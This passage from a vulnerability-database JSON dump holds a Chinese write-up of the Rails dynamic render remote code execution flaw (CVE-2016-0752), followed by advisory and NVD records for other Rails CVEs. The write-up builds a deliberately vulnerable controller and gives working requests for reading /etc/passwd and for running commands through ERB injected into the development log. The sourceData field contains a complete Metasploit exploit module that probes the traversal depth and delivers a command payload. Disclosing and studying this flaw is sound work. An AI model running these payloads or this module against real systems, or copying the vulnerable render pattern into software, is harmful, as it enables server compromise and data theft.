\u4f1a\u5c06\u5f53\u524d\u73af\u5883\u7684\u6bcf\u4e00\u4e2a\u8bf7\u6c42\uff0c\u5305\u62ec\u53c2\u6570\u90fd\u4f1a\u5199\u5165\u65e5\u5fd7\u6587\u4ef6 (\u6bd4\u5982\u8bf4 `development.log`). \u5c3d\u7ba1\u662f\u7eaf\u6587\u672c\u6587\u4ef6\uff0c\u53ea\u8981\u662f\u65e5\u5fd7\uff0c\u90fd\u53ef\u4ee5\u88ab\u5305\u542b\u8fdb ruby \u4ee3\u7801. \u901a\u8fc7\u4f7f\u7528\u6709\u6548\u7684 ruby \u4ee3\u7801\u4f5c\u4e3a\u53c2\u6570\u53d1\u8d77\u4e00\u4e2a\u8bf7\u6c42\u4fbf\u53ef\u4ee5\u5b8c\u6210\u4e0a\u8ff0\u8fc7\u7a0b\u3002\r\n\r\n\u5728\u4e0b\u9762\u7684\u4f8b\u5b50\u4e2d\u6211\u4eec\u5411 web \u7a0b\u5e8f\u53d1\u8d77\u4e00\u4e2a\u5408\u6cd5\u7684\u8bf7\u6c42\uff0c\u901a\u8fc7 fake \u53c2\u6570\u4f20\u5165\u4e00\u4e2aURL\u7f16\u7801\u7684`<%= `ls` %>`\u3002\r\n\r\n\r\n\r\n\u901a\u8fc7\u5bf9\u65e5\u5fd7\u6587\u4ef6\u7684\u5ba1\u8ba1\uff0c\u6211\u4eec\u53ef\u4ee5\u770b\u5230\u65e5\u5fd7\u4e2d\u5b58\u5728\u8fd9\u4e48\u4e00\u6761 url decode \u540e\u7684\u53c2\u6570\u6761\u76ee\uff0c\u8fd9\u662f\u4e00\u4e2a\u6709\u6548\u7684 ruby \u4ee3\u7801\uff0c\u5f53 web \u5e94\u7528\u6e32\u67d3\u4e86\u8be5\u65e5\u5fd7\u6587\u4ef6\uff0c\u4ee3\u7801\u5c31\u4f1a\u88ab\u6267\u884c\u3002\r\n\r\n\r\n\r\n\u7136\u540e\u6211\u4eec\u5c31\u53ef\u4ee5\u7528 ruby \u7684\u6587\u4ef6\u5305\u542b\u6f0f\u6d1e\uff0c\u5c06\u5305\u542b\u521a\u624d\u7684\u8bf7\u6c42\u7684\u65e5\u5fd7\u5305\u542b\u5c3d\u91cf\uff0c\u521a\u521a\u7684\u53c2\u6570\u5c31\u4f1a\u6267\u884c\u3002\r\n\r\n\r\n\r\n\u5f53\u8bf7\u6c42\u8fd4\u56de\u540e\uff0c\u6211\u4eec\u53ef\u4ee5\u770b\u5230\uff0c\u539f\u6765\u7684 fake \u53c2\u6570\u7684\u503c\u5df2\u7ecf\u88ab `ls` \u547d\u4ee4\u7684\u503c\u66ff\u4ee3\u3002\u901a\u8fc7\u5982\u4e0a\u7684\u65b9\u6cd5\u4e5f\u53ef\u4ee5\u6267\u884c\u5176\u4ed6\u7684\u547d\u4ee4\u4e86\u3002\r\n\r\n<br>\r\n\r\n### \u7ed3\u8bba\r\n\r\n\u5982\u679c\u4e0d\u53bb\u6df1\u5165\u5730\u6316\u6398\u7ec6\u8282\u6216\u8005\u79ef\u6781\u5730\u5c1d\u8bd5 exploit\uff0cRails \u7684\u6e32\u67d3\u673a\u5236\u5c06\u662f\u5f88\u795e\u79d8\u5f88\u96be\u7406\u89e3\u7684\u3002\u5f88\u9057\u61be\uff0cRails \u7684\u53c2\u8003\u6587\u6863\u5728\u8fd9\u65b9\u9762\u5e76\u6ca1\u6709\u591a\u5927\u5e2e\u52a9\u3002\r\n\r\n\u548c CVE-2014-0130 \u7c7b\u4f3c\uff0c \u4f7f\u7528\u52a8\u6001\u6a21\u677f\u6e32\u67d3\u9020\u6210\u4e86\u76ee\u5f55\u904d\u5386\u548c\u4ee3\u7801\u6267\u884c\u3002\u6211\u5df2\u7ecf\u4e0d\u6b62\u4e00\u6b21\u5730\u5728\u5f88\u591a\u5f00\u6e90 Rails \u9879\u76ee\u4e2d\u770b\u5230\u8fc7\u5b58\u5728\u8fd9\u79cd\u6f0f\u6d1e\u4e86\u3002\u5982\u679c\u4f60\u8fd8\u6ca1\u6709\u8bfb\u8fc7 Jeff Jarmoc \u7684\u90a3\u7bc7\u8bba\u6587\uff0c\u6211\u5efa\u8bae\u6700\u597d\u5148\u9605\u8bfb\u4e00\u4e0b\uff0c\u8fd9\u7bc7\u6587\u7ae0\u6df1\u5165\u5730\u6316\u6398\u4e86\u4e0e CVE-2014-0130 \u76f8\u5173\u7684\u6f0f\u6d1e\u548c\u5371\u5bb3\u8bc4\u4f30\u3002\r\n\r\n\u8fd9\u662f\u6211\u5199\u7684\u53ef\u4ee5\u63a2\u6d4b\u548c\u5229\u7528\u672c\u6587\u6240\u8ff0\u6f0f\u6d1e\u7684 msf module: : https://gist.github.com/forced-request/5158759a6418e6376afb\r\n\r\n\r\n\r\n \r\n> \u4ee5\u4e0a\u4e2d\u6587\u7ffb\u8bd1\u6765\u81ea\u4e8e\uff1ahttps://www.92aq.com/2016/01/27/ruby-on-rails-%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C.html\r\n> \u82f1\u6587\u539f\u6587\u5730\u5740\uff1ahttps://nvisium.com/blog/2016/01/26/rails-dynamic-render-to-rce-cve-2016-0752/\r\n\r\n\r\n<br>\r\n\r\n### \u65f6\u95f4\u7ebf\r\n\r\n* 2015\u5e742\u67081\u65e5 \u6f0f\u6d1e\u88ab\u53d1\u73b0\r\n* 2015\u5e742\u670810\u65e5 Rails team \u51b3\u5b9a\u4fee\u590d\u8be5\u6f0f\u6d1e\r\n* 2015\u5e747\u670813\u65e5 \u6f0f\u6d1e\u5728\u672a\u516c\u5f00\u60c5\u51b5\u4e0b\u5f97\u5230\u8bc1\u5b9e\uff08\u8ddd\u7b2c\u4e00\u6b21\u62a5\u544a\u8be5\u6f0f\u6d1e\u5df2\u7ecf\u6709 5 \u4e2a\u6708\u65f6\u95f4\uff09\r\n* 2016\u5e741\u670825\u65e5 \u9488\u5bf9\u8be5\u6f0f\u6d1e\u7684\u8865\u4e01\u6b63\u5f0f\u53d1\u5e03\uff0c\u5e76\u4e14\u8be5\u6f0f\u6d1e\u88ab CVE \u6536\u5f55\uff08\u8fd1 5 \u4e2a\u6708\u624d\u8bc1\u5b9e\u8be5\u6f0f\u6d1e\uff0c\u5c06\u8fd1 1 \u5e74\u624d\u4fee\u590d\u8be5\u6f0f\u6d1e\uff09\r\n* 2016\u5e741\u670827\u65e5 Seebug \u6536\u5f55\u8be5\u6f0f\u6d1e\r\n\r\n<br/>\r\n\r\n### \u6f0f\u6d1e\u8bc1\u660e\r\n\r\n**\u6f0f\u6d1e\u5e94\u7528**\r\n\r\n\u6d4b\u8bd5\u73af\u5883\uff1aRails-4.1.5 (Ruby-2.1.5)\r\n\u6d4b\u8bd5\u7cfb\u7edf\uff1aKali Linux 2.0\r\n\r\n\u521b\u5efa Rails \u5e94\u7528\uff1a\r\n\r\n```\r\nrails new cve-2016-0752\r\ncd cve-2016-0752\r\n```\r\n\r\n\u4f7f\u7528\u81ea\u5e26\u547d\u4ee4\u521b\u5efa\u63a7\u5236\u5668`vuln`\u8def\u7531`index`\uff0c\u5e76\u4fee\u6539\u5176\u8def\u7531\u9ed8\u8ba4\u5904\u7406\u4ee3\u7801\uff1a\r\n\r\n```\r\nrails generate controller vuln index\r\n```\r\n\r\n\u4fee\u6539`app/controllers/vuln_controller.rb`\u4e2d`index`\u51fd\u6570\u4ee3\u7801\u4e3a\uff1a\r\n\r\n```\r\nclass VulnController < ApplicationController\r\n def index\r\n render params[:q]\r\n end\r\nend\r\n```\r\n\r\n\u542f\u52a8\u5e94\u7528\u8bbf\u95ee `http://192.168.199.205:3000/vuln/index?q=/etc/passwd` \u65f6\uff0c\u4ee3\u7801\u4f1a\u5c06 `/etc/passwd` \u505a\u4e3a\u6a21\u7248\u76f8\u5bf9\u4f7f\u7528\u51fd\u6570 render \u8fdb\u884c\u6e32\u67d3\uff0c\u800c render \u51fd\u6570\u5728\u5bfb\u627e\u6a21\u7248\u6587\u4ef6\u65f6\u9ed8\u8ba4\u5305\u542b\u4e86\u7cfb\u7edf\u6839\u8def\u5f84\uff0c\u5728\u5e94\u7528\u9ed8\u8ba4\u7684\u6a21\u7248\u5b58\u50a8\u8def\u5f84\u4e2d\u65e0\u6cd5\u627e\u5230 `/etc/passwd` \u65f6\u56de\u53bb\u5bfb\u627e `//etc/passwd`\uff0c\u8fd9\u65f6\u5982\u679c\u80fd\u591f\u8bbf\u95ee\u5230 `//etc/passwd` \u6587\u4ef6\uff0c\u5e94\u7528\u4f1a\u5c06\u5176\u6587\u4ef6\u5185\u5bb9\u4f5c\u4e3a\u6a21\u7248\u8fdb\u884c\u6e32\u67d3\uff1a\r\n\r\n\r\n\r\n**\u914d\u5408\u8bbf\u95ee\u65e5\u5fd7\u6267\u884c\u547d\u4ee4**\r\n\r\nRails\u5e94\u7528\u6587\u4ef6log/development.log\u5b58\u50a8\u7684\u662f\u7528\u6237\u8bbf\u95ee\u65e5\u5fd7\uff0c\u6839\u636e2.1\u73b0\u5728\u5df2\u7ecf\u80fd\u63a7\u5236\u6e32\u67d3\u7684\u6a21\u677f\u6587\u4ef6\u8def\u5f84\uff0c\u501f\u52a9\u8bbf\u95ee\u65e5\u5fd7\u5c31\u53ef\u4ee5\u63a7\u5236\u6e32\u67d3\u6a21\u7248\u7684\u5185\u5bb9\u3002\u501f\u52a9Rails\u7684\u6a21\u677f\u5f15\u64ce\uff0c\u5728\u6a21\u677f\u5185\u5bb9\u4e2d\u63d2\u5165\u6a21\u677f\u5143\u7d20<%= `ifconfig` %>\uff0c\u8868\u793a\u5c06 ifconfig \u7cfb\u7edf\u547d\u4ee4\u7684\u7ed3\u679c\u4f5c\u4e3a\u6e32\u67d3\u5185\u5bb9\u8fdb\u884c\u8fd4\u56de\u3002\r\n\r\n\u8bbf\u95eehttp://192.168.199.205:3000/vuln/index?q=<%25=%20`ifconfig`%20%25>\uff0c\u4f1a\u5728log/development.log\u4e2d\u7559\u4e0b\u8bb0\u5f55\uff1a\r\n\r\n\r\n\r\n\u8fd9\u65f6\u901a\u8fc7\u63a7\u5236\u6a21\u7248\u6587\u4ef6\u6e32\u67d3\u4e3alog/development.log\uff0c\u5373\u53ef\u5c06\u76ee\u6807\u4e3b\u673a\u7684\u7f51\u7edc\u4fe1\u606f\u901a\u8fc7\u9875\u9762\u7ed3\u679c\u8fd4\u56de\uff0chttp://192.168.199.205:3000/vuln/index?q=../../log/development.log\uff1a\r\n\r\n\r\n\r\n### \u6f0f\u6d1e\u5f71\u54cd\r\n\r\n\u4ece zoomeye.org \u4e0a\u641c\u7d22\u4f7f\u7528\u4e86 Rails \u6846\u67b6\u7684\u7ad9\u70b9\uff1a\r\n\r\n\r\n\r\n\u5168\u7403\u5927\u7ea6\u6709**12w**\u4e2a\u4f7f\u7528\u4e86Rails\u7684\u7ad9\u70b9**\u53ef\u80fd**\u53d7\u5230\u8be5\u6f0f\u6d1e\u7684\u5f71\u54cd\u3002\r\n\r\n\u540c\u65f6\u4e5f\u53ef\u4ee5\u5728 Github \u4e0a\u641c\u7d22 `render params` \u6765\u67e5\u770b\u6f5c\u5728\u53d7\u5230\u5f71\u54cd\u7684 \u9879\u76ee:\r\n\r\n\r\n\r\n\u53ef\u4ee5\u770b\u5230\u4e5f\u6709\u5927\u91cf\u7684\u9879\u76ee\u7b26\u5408\u8fd9\u6837\u7684\u4ee3\u7801\u5199\u6cd5,\u53ef\u80fd\u53d7\u5230\u8be5\u6f0f\u6d1e\u7684\u5f71\u54cd\u3002", "cvss3": {}, "published": "2016-01-27T00:00:00", "type": "seebug", "title": "Rails Dynamic Render \u8fdc\u7a0b\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e (CVE-2016-0752)", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2014-0130", "CVE-2016-0752"], "modified": "2016-01-27T00:00:00", "href": "https://www.seebug.org/vuldb/ssvid-90633", "id": "SSV:90633", "sourceData": "\n require 'msf/core'\r\n\r\nclass Metasploit3 < Msf::Exploit::Remote\r\n Rank = ExcellentRanking\r\n @@trav_string = '%5c%2e%2e%2f'\r\n\r\n include Msf::Exploit::Remote::HttpClient\r\n\r\n def initialize(info = {})\r\n super(update_info(info,\r\n 'Name' => 'Ruby on Rails Dynamic Render Directory Traversal + Code Exec',\r\n 'Description' => %q{\r\n This module exploits a remote code execution vulnerability in the explicit render\r\n method when leveraging user parameters.\r\n This module has been tested across multiple versions of RoR 3.x and RoR 4.x\r\n The technique used by this module requires the specified endpoint to be using\r\n dynamic render paths, such as the following example:\r\n def show\r\n render params[:id]\r\n end\r\n },\r\n 'Author' =>\r\n [\r\n 'John Poulin (forced-request)'\r\n ],\r\n 'License' => MSF_LICENSE,\r\n 'Platform' => 'ruby',\r\n 'Arch' => ARCH_CMD,\r\n 'Payload' => \r\n {\r\n 'Compat' =>\r\n {\r\n 'PayloadType' => 'cmd',\r\n 'RequiredCmd' => 'generic perl telnet'\r\n }\r\n },\r\n 'Privileged' => true,\r\n 'Targets' =>\r\n [\r\n [ 'CMD',\r\n {\r\n 'Arch' => ARCH_CMD,\r\n 'Platform' => 'unix'\r\n }\r\n ]\r\n ],\r\n 'DefaultTarget' => 0))\r\n\r\n register_options(\r\n [\r\n Opt::RPORT(80),\r\n OptString.new('URIPATH', [ true, 'The path to the vulnerable route', \"/user\"]),\r\n OptString.new('LOGFILE', [ true, 'The environment\\'s log file', 'log%2fdevelopment%2elog']),\r\n OptEnum.new('HTTP_METHOD', [true, 'HTTP Method', 'GET', ['GET', 'POST', 'PUT'] ]),\r\n OptString.new('COOKIES', [ false, 'HTTP headers, including auth headers and cookies', ''])\r\n ], self.class)\r\n end\r\n\r\n def vuln\r\n desired_location = 'Gemfile'\r\n\r\n # Initial payload\r\n p = desired_location\r\n\r\n # Search for depth up to 10 to detect if server is vuln\r\n 11.times do |i|\r\n res = send_request_cgi({\r\n 'uri' => normalize_uri(datastore['URIPATH'], p),\r\n 'method' => datastore['HTTP_METHOD'],\r\n 'cookie' => datastore['COOKIES']\r\n }, 60)\r\n\r\n # Check if response contains Gemfile info\r\n if res.body.match(/^gem /)\r\n @depth = i\r\n print_good(\"It appears that this application is vulnerable\")\r\n return true\r\n end\r\n\r\n # Prepare next payload\r\n p = @@trav_string + p\r\n end\r\n return false\r\n end\r\n\r\n def send_payload\r\n p = datastore['LOGFILE']\r\n (@depth).times do |i|\r\n p = @@trav_string + p\r\n end\r\n\r\n p = p + \"?p=%3c%25%20%60\" + CGI::escape(payload.encoded) + \"%60%25%3e\"\r\n print_status(\"Sending payload: #{p}\")\r\n\r\n res = send_request_cgi({\r\n 'uri' => normalize_uri(datastore['URIPATH'], p),\r\n 'method' => datastore['HTTP_METHOD'],\r\n 'cookie' => datastore['COOKIES']\r\n }, 60)\r\n end\r\n\r\n def render_log\r\n p = datastore['LOGFILE']\r\n (@depth).times do |i|\r\n p = @@trav_string + p\r\n end\r\n\r\n res = send_request_cgi({\r\n 'uri' => normalize_uri(datastore['URIPATH'], p),\r\n 'method' => datastore['HTTP_METHOD'],\r\n 'cookie' => datastore['COOKIES']\r\n }, 60)\r\n end\r\n\r\n #\r\n # Send the actual request\r\n #\r\n def exploit\r\n print_status(\"Sending initial request to detect exploitability\")\r\n\r\n # Check if vulnerable\r\n if vuln\r\n print_status(\"Attempting to exploit\")\r\n \r\n send_payload\r\n else\r\n print_error(\"Application does not appear vulnerable\")\r\n end\r\n end\r\nend\n ", "sourceHref": "https://www.seebug.org/vuldb/ssvid-90633", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:NONE/A:NONE/"}}], "github": [{"lastseen": "2022-05-13T12:33:39", "description": "Directory traversal vulnerability in actionpack/lib/abstract_controller/base.rb in the implicit-render implementation in Ruby on Rails before 3.2.18, 4.0.x before 4.0.5, and 4.1.x before 4.1.1, when certain route globbing configurations are enabled, allows remote attackers to read arbitrary files via a crafted request.", "cvss3": {}, "published": "2017-10-24T18:33:36", "type": "github", "title": "Moderate severity vulnerability that affects actionpack", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2014-0130"], "modified": "2021-09-02T19:11:28", "id": "GHSA-6X85-J5J2-27JX", "href": "https://github.com/advisories/GHSA-6x85-j5j2-27jx", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2022-05-13T12:33:39", "description": "actionpack/lib/action_view/template/text.rb in Action View in Ruby on Rails 3.x before 3.2.17 converts MIME type strings to symbols during use of the :text option to the render method, which allows remote attackers to cause a denial of service (memory consumption) by including these strings in headers.", "cvss3": {}, "published": "2017-10-24T18:33:36", "type": "github", "title": "Moderate severity vulnerability that affects actionpack", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2014-0082"], "modified": "2021-09-02T21:15:26", "id": "GHSA-7CGP-C3G7-QVRW", "href": "https://github.com/advisories/GHSA-7cgp-c3g7-qvrw", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}}, {"lastseen": "2022-05-13T12:33:39", "description": "Multiple cross-site scripting (XSS) vulnerabilities in actionview/lib/action_view/helpers/number_helper.rb in Ruby on Rails before 3.2.17, 4.0.x before 4.0.3, and 4.1.x before 4.1.0.beta2 allow remote attackers to inject arbitrary web script or HTML via the (1) format, (2) negative_format, or (3) units parameter to the (a) number_to_currency, (b) number_to_percentage, or (c) number_to_human helper.", "cvss3": {}, "published": "2017-10-24T18:33:36", "type": "github", "title": "Moderate severity vulnerability that affects rails", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2014-0081"], "modified": "2021-09-14T22:06:44", "id": "GHSA-M46P-GGM5-5J83", "href": "https://github.com/advisories/GHSA-m46p-ggm5-5j83", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}}], "cve": [{"lastseen": "2022-03-23T12:00:17", "description": "Directory traversal vulnerability in actionpack/lib/abstract_controller/base.rb in the implicit-render implementation in Ruby on Rails before 3.2.18, 4.0.x before 4.0.5, and 4.1.x before 4.1.1, when certain route globbing configurations are enabled, allows remote attackers to read arbitrary files via a crafted request.", "cvss3": {}, "published": "2014-05-07T10:55:00", "type": "cve", "title": "CVE-2014-0130", "cwe": ["CWE-22"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2014-0130"], "modified": "2019-08-08T15:43:00", "cpe": ["cpe:/a:rubyonrails:rails:3.2.11", "cpe:/a:rubyonrails:rails:4.0.0", "cpe:/a:rubyonrails:rails:3.2.15", "cpe:/a:rubyonrails:rails:3.2.1", "cpe:/a:rubyonrails:rails:4.0.2", "cpe:/a:rubyonrails:rails:3.2.3", "cpe:/a:rubyonrails:rails:4.1.0", "cpe:/a:rubyonrails:rails:4.0.1", "cpe:/a:rubyonrails:rails:3.2.12", "cpe:/a:rubyonrails:rails:3.2.7", "cpe:/a:redhat:subscription_asset_manager:1.3.0", "cpe:/a:rubyonrails:rails:4.0.4", "cpe:/a:rubyonrails:rails:3.2.2", "cpe:/a:rubyonrails:rails:3.2.10", "cpe:/a:rubyonrails:rails:3.2.0", "cpe:/a:rubyonrails:rails:3.2.13", "cpe:/a:rubyonrails:rails:3.2.6", "cpe:/a:rubyonrails:rails:3.2.9", "cpe:/a:rubyonrails:rails:3.2.5", "cpe:/a:rubyonrails:rails:3.2.8", "cpe:/a:rubyonrails:rails:3.2.4", "cpe:/a:rubyonrails:rails:4.0.3", "cpe:/a:rubyonrails:ruby_on_rails:3.2.17", "cpe:/a:rubyonrails:rails:3.2.16"], "id": "CVE-2014-0130", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-0130", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:P/I:N/A:N"}, "cpe23": ["cpe:2.3:a:rubyonrails:rails:3.2.3:rc1:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.2.1:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.2.3:rc2:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:4.0.1:rc4:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.2.8:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:4.0.0:-:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:ruby_on_rails:3.2.17:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:4.0.0:rc2:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.2.0:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:4.0.1:rc2:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.2.4:rc1:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:4.0.4:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.2.12:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.2.7:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:4.0.2:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.2.13:rc2:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:4.0.1:rc3:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.2.0:rc2:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:4.1.0:beta1:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.2.2:rc1:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.2.3:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.2.15:rc3:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.2.10:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.2.13:rc1:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:4.0.1:rc1:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.2.4:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.2.11:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:4.0.3:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.2.2:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.2.9:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:4.0.1:-:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.2.6:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:4.0.0:beta:*:*:*:*:*:*", "cpe:2.3:a:redhat:subscription_asset_manager:1.3.0:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:4.0.0:rc1:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.2.0:rc1:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.2.5:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.2.16:*:*:*:*:*:*:*"]}, {"lastseen": "2022-03-23T11:59:19", "description": "actionpack/lib/action_view/template/text.rb in Action View in Ruby on Rails 3.x before 3.2.17 converts MIME type strings to symbols during use of the :text option to the render method, which allows remote attackers to cause a denial of service (memory consumption) by including these strings in headers.", "cvss3": {}, "published": "2014-02-20T15:27:00", "type": "cve", "title": "CVE-2014-0082", "cwe": ["CWE-20"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2014-0082"], "modified": "2019-08-08T15:42:00", "cpe": ["cpe:/a:rubyonrails:rails:3.0.6", "cpe:/a:rubyonrails:rails:3.0.10", "cpe:/a:rubyonrails:rails:3.0.2", "cpe:/a:rubyonrails:rails:3.2.11", "cpe:/a:rubyonrails:rails:3.0.13", "cpe:/a:rubyonrails:rails:3.2.15", "cpe:/a:rubyonrails:rails:3.2.1", "cpe:/a:rubyonrails:rails:3.1.10", "cpe:/a:rubyonrails:rails:3.0.4", "cpe:/a:rubyonrails:rails:3.0.8", "cpe:/a:rubyonrails:rails:3.1.5", "cpe:/a:rubyonrails:rails:3.2.12", "cpe:/a:rubyonrails:rails:3.2.7", "cpe:/a:rubyonrails:rails:3.2.3", "cpe:/a:rubyonrails:rails:3.0.7", "cpe:/a:rubyonrails:rails:3.1.9", "cpe:/a:rubyonrails:rails:3.1.4", "cpe:/a:rubyonrails:ruby_on_rails:3.0.4", "cpe:/a:rubyonrails:rails:3.0.14", "cpe:/a:rubyonrails:rails:3.0.16", "cpe:/a:rubyonrails:ruby_on_rails:3.2.15", "cpe:/a:rubyonrails:rails:3.1.6", "cpe:/a:rubyonrails:ruby_on_rails:3.2.14", "cpe:/a:rubyonrails:rails:3.0.3", "cpe:/a:rubyonrails:rails:3.0.11", "cpe:/a:rubyonrails:ruby_on_rails:3.2.16", "cpe:/a:rubyonrails:rails:3.2.2", "cpe:/a:rubyonrails:rails:3.1.0", "cpe:/a:rubyonrails:rails:3.0.17", "cpe:/a:rubyonrails:rails:3.2.10", "cpe:/a:rubyonrails:rails:3.2.0", "cpe:/a:rubyonrails:rails:3.2.13", "cpe:/a:rubyonrails:rails:3.2.6", "cpe:/a:rubyonrails:rails:3.2.9", "cpe:/a:rubyonrails:rails:3.0.12", "cpe:/a:rubyonrails:rails:3.2.5", "cpe:/a:rubyonrails:rails:3.0.5", "cpe:/a:rubyonrails:rails:3.1.2", "cpe:/a:rubyonrails:rails:3.2.8", "cpe:/a:rubyonrails:rails:3.0.18", "cpe:/a:rubyonrails:rails:3.1.8", "cpe:/a:rubyonrails:rails:3.2.4", "cpe:/a:rubyonrails:rails:3.1.3", "cpe:/a:rubyonrails:rails:3.0.19", "cpe:/a:rubyonrails:rails:3.0.20", "cpe:/a:rubyonrails:rails:3.0.9", "cpe:/a:rubyonrails:rails:3.1.1", "cpe:/a:rubyonrails:rails:3.0.0", "cpe:/a:rubyonrails:rails:3.0.1", "cpe:/a:rubyonrails:rails:3.1.7"], "id": "CVE-2014-0082", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-0082", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}, "cpe23": ["cpe:2.3:a:rubyonrails:rails:3.0.12:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.2.8:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.1.0:rc5:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.0.14:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.0.6:rc2:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.0.0:rc:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.2.12:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.0.2:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.1.0:rc1:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.0.1:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.2.15:rc3:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.2.4:*:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.0.10:rc1:*:*:*:*:*:*", "cpe:2.3:a:rubyonrails:rails:3.2.2:*:*:*:*:*:*:*", 